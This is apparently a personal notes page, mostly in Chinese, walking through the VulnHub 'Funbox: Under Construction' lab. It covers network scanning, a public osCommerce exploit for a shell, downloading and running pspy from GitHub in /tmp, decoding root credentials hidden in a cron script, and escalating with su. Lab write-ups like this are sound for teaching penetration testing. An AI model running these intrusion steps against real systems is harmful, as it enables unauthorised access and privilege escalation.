0
HomeNotesGitHubDiscordLogin
Birth: 2026-06-26
Modify:

https://www.vulnhub.com/entry/funbox-under-construction,715/

check ip and nmap

ip -br a
nmap -A -sV 192.168.61.0/24

image

the target is 192.168.61.148

ports: 22, 25, 80 (httpd)
特別的是有個 smtp server,但是我不熟
image

2.4.18 應該漏洞很多,但是在 metaspolit 有點難找工具

/ 也沒有什麼資訊
image

先 enum path

dirsearch -u http://192.1688.61.148

image
image

在 /catalog 找到大量檔案,他是一個 oscommerce v2.3.4.1
image

searchsploit 找 oscommerce 相關的
image

挑一個新的: 50128.py
執行取得 shell
image
nc 連接 shell
image
image

先嘗試找 suid file,沒找到什麼
image

裝個 pspy64
(這邊有試過 pspy64s 讀不到)

cd /tmp
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64s
chmod +x pspy64s
./pspy64s

監聽到這個 script:
image

cat /usr/share/doc/examples/cron.sh

image

decode base64 得到 -u root -p rfvbgt!!

echo "LXUgcm9vdCAtcCByZnZiZ3QhIQ==" | base64 -d

image

先 upgrade tty

python -c 'import pty;pty.spawn("/bin/bash")' 

image

su

image
image